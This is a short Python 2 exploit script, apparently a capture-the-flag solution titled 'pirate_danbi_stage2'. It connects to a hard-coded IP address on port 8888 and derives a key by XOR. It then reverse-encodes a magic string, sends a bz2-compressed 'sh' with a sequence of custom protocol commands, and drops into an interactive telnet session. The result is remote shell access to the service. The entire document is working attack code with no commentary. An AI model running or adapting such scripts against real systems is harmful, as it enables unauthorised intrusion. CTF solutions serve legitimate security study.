pirate_danbi_stage2.py

import socket
import struct
import bz2
import telnetlib
t = telnetlib.Telnet()

HOST = '54.92.37.119'

def cmd(s, c, p, send=True):
    payload = chr(c) + struct.pack(">H", len(p))
    payload += p
    if send == False:
        return payload
    #print 'Sending cmd', c, 'Length:', len(p)
    s.send(payload)

if __name__ == '__main__':
    key = map(lambda x: x ^ 8, [128, 246, 213, 168, 40, 65, 128, 40])
    key = bytearray(key)
    target = "YO_DANBI_CREW_IN_THE_HOUSE.\x00"
    target = bytearray(target)
    if len(target) % 8 != 0:
        target += "\x00" * (8 - len(target) % 8)
    target += bytearray(map(lambda x: x ^ 8, key))
    print len(target)
    for i in range(len(target) - 16, -1, -8):
        print i
        for j in range(8):
            target[i + j] = (target[i + j] - key[j]) & 0xff
            target[i + j] ^= target[i + j + 8]
    s = socket.create_connection((HOST, 8888))
    cmd(s, 2, bz2.compress('sh'))
    t.sock = s
    cmd(s, 1, target)
    cmd(s, 4, '')
    cmd(s, 3, '')
    cmd(s, 5, '')
    t.interact()